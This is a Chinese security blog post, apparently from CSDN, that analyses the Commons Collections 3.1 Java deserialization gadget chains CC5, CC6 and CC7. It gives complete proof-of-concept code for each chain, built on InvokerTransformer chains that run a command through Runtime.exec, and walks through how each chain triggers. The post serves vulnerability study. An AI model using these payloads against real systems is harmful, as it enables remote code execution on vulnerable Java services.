java反序列化之Commons-Collections5、6、7链分析

cc5

前言

cc5利用两和cc1的后半段一样,就是实现ChainedTransformer类。
在cc1中也分析过,只要LazyMap触发Map类就可以达到rec的目的。
在cc5中用到的是TiedMapEntry中的toString方法。

利用环境

jdk 1.7
Commons Collections 3.1

poc

package org.example.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;



public class cc5Demo1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        String cmd = "calc.exe";
        // CC1的下半段链。
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{cmd})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        // TiedMapEntry的toString方法中调用了this.map.get()。
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        // BadAttributeValueExpException的readObject的方法中。间接调用了val.toString方法。
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("result.ser"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("result.ser"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

链条分析

上面说到了cc5中用到的是TiedMapEntry中的toString方法。
在这里插入图片描述
他会调用getValue方法,
在这里插入图片描述
可以发现这里对map调用了get方法,并将key传递进去,所以这里只需要令map为我们前面构造好的LazyMap,即可触发rce。且map和key都是我们可控制的。
接下来我们就要触发TiedMapEntry中的toString方法,ysoserial中使用了BadAttributeValueExpException这个类。
对应代码:
在这里插入图片描述
然后看BadAttributeValueExpException的readObject方法。
在这里插入图片描述
valObj是哪里来的呢,第一个方框中是从反序列化传入的类中获取的,后续会调用valObj.toString()了。设置BadAttributeValueExpException中val的值为TiedMapEntry就可以触发命令执行,即调用了TiedMapEntry.toString()。

cc6

前言

cc中有些HashMap,HashSet集合,然后周末去补充了一下相关的知识。后来又引出了一个问题,看着那些单列集合,双列集合,又去把数据结构大概了解了一下,只是肤浅的了解了一下,其中包括栈、队列、数组、链表和红黑树及他们的优缺点、使用场景等。用的是java.util工具包下的封装类去实现的,也只是简单实现一个数据结构。然后再回过头来去看代码,感觉还不错,更能深入了解其中的含义了。

利用环境

jdk 1.7
Commons Collections 3.1

poc

package org.example.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

// 通过TiedMapEntry#hashCode触发TiedMapEntry#getValue,从而触发LazyMap#get
public class cc6Demo1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc.exe"})
        });

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

        TiedMapEntry tiedmap = new TiedMapEntry(map,123);

        HashSet hashset = new HashSet(1);
        hashset.add("foo");
        // 获取HashSet的map属性
        Field field = Class.forName("java.util.HashSet").getDeclaredField("map");//getDeclaredField 获取公有成员
        field.setAccessible(true);
        HashMap hashset_map = (HashMap) field.get(hashset);
        System.out.println(hashset_map);
        /*
        //方法:get(Object obj) 返回指定对象obj上此 Field 表示的字段的值
        http://www.51gjie.com/java/795.html
         */


        // 获取HashMap的table属性中第一个元素对象。是Entry类型。赋值给node
        Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
        table.setAccessible(true);
        Object[] array = (Object[])table.get(hashset_map);
        Object node = array[0];
        // 将node的key修改为Tiedmap对象。即HashSet中的map属性第一个元素的key为tiedmap对象。
        Field key = node.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(node,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./result.ser"));
            outputStream.writeObject(hashset);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./result.ser"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

链条分析

cc5中我们是通过TiedMapEntry#toString#getValue方法去触发LazyMap#get,最后达到命令执行,cc6中我们也是getValue方法触发,只不过不是toString而是TiedMapEntry#hashCode#getValue方法。
我们找到hashMap中的hash方法调用了hashCode
在这里插入图片描述
继续找,看谁调用了hash方法,找到put方法
在这里插入图片描述
这里的key还不是我们可控的,所以还需要找到调用了put方法的函数,最后找到了HashSet#readObject,并且e参数是我们可控的。
在这里插入图片描述
map.put(e,PRESENT)。参数e即HashSet中的map属性第一个元素的key为tiedmap对象。

上面的是ysoserial中反射调用的代码,其实可以:

TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"foo");
HashSet hashset = new HashSet();
hashset.add(tiedmap);
outerMap.remove("foo");

调用add()方法将含有恶意代码的对象传入hashSet,就不用像ysoserial中使用反射去传值,这样比较简便;

cc7

前言

利用环境

jdk 1.7、jdk 1.8
Commons Collections 3.1

poc

package org.example.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.*;

public class cc7Demo1 {
    public static void main(String[] args) throws Exception {
        Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
        };

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field field =transformerChain.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain,transformers);

        lazyMap2.remove("yy");

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./result.ser"));
            outputStream.writeObject(hashtable);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./result.ser"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

链条分析

cc7是从AbstractMap#equals来触发对LazyMap#get方法的调用
先来看Hashtable序列化过程
在这里插入图片描述
Hashtable反序列化的时候,975行和976行会获取table的长度和table的个数,从哪获取的呢,在Hashtable序列化的时候就已经获取了,如下图
在这里插入图片描述
好了,我们接着刚才的反序列化看,在994行反序列化读取key和value,然后调用reconstitutionPut方法,最终完成反序列化。
来看reconstitutionPut方法,这个方法是重点,最终的反序列化也是在这里的。
在这里插入图片描述
首先判断value是否为空,如果为空直接抛出异常,然后计算key的hash,index是索引,根据刚才计算的hash值算出索引,代码中两次put元素,第一次不会走到for循环里,因为Entry<K,V> e != tab[index],然后就会走到1031行去设置tab[index],第二次去put元素的时候就会走到for循环。
为什么第一次不会走到for循环,而第二次就走到for循环里呢。
看1031行,tab[index]这个变量时hash,key,value,e共同注册的,第一次tab[index]变量肯定空,所以不会走到for循环里。只有走tab中先注册了(也就是hashtable put的key元素),因此Hashtable中的元素至少为2个并且元素的hash值也必须相同的情况下才会走到for循环,调用equals方法。这也是为什么put两次的原因。
为什么put两次的值分别是yy和zZ
进入for循环的条件是两次的tab[index]相同,index哪里来的呢,在1022和1023行中可以看到是根据key来机选hash和索引的,所以只要key的hashcode相同即可。
在Java中:"yy".hashCode() == "zZ".hashCode(),所以我们需要用yy和zZ来是的index的值相同,进入for循环。
进入for循环里我们接着走,走到equals方法。这里我们传入的是lazyMap对象,而lazyMap中是没有equals方法的,然后就找到了继承父类的AbstractMapDecorator类中的equals方法,跟进看一下:
在这里插入图片描述
继续往下会走到129行,而这个map就是我们lazyMap对象中的HashMap对象,然后调用下面的equals方法。HashMap中并没有找到一个名字为equals的成员方法,但是通过分析发现HashMap继承了AbstractMap抽象类,该类中有一个equals方法,跟进看一下:
在这里插入图片描述
这里Object o赋值给m,也就是m就是一个map对象,时间是就是一个lazyMap对象,最后通过一系列的判断,就调用了LazyMap对象的get方法,最后代码反射设置iTransformers的值,后面也就是cc1链条的递归调用实现命令执行了。
为什么要HashTable#put之后,还要删除yy呢
跟进HashTable#put方法:
在这里插入图片描述
Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素(yy=yy)。

总结

cc5		TiedMapEntry#toString#getValu-->LazyMap#get
cc6		TiedMapEntry#hashCode-->TiedMapEntry#getValue-->LazyMap#get
cc7		HashTable#readObject-->AbstractMap#equals-->LazyMap#get
参考:
https://paper.seebug.org/1242/
https://xz.aliyun.com/t/10457
https://blog.csdn.net/qq_41918771/article/details/120487992
https://blog.csdn.net/qq_35733751/article/details/119862728
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值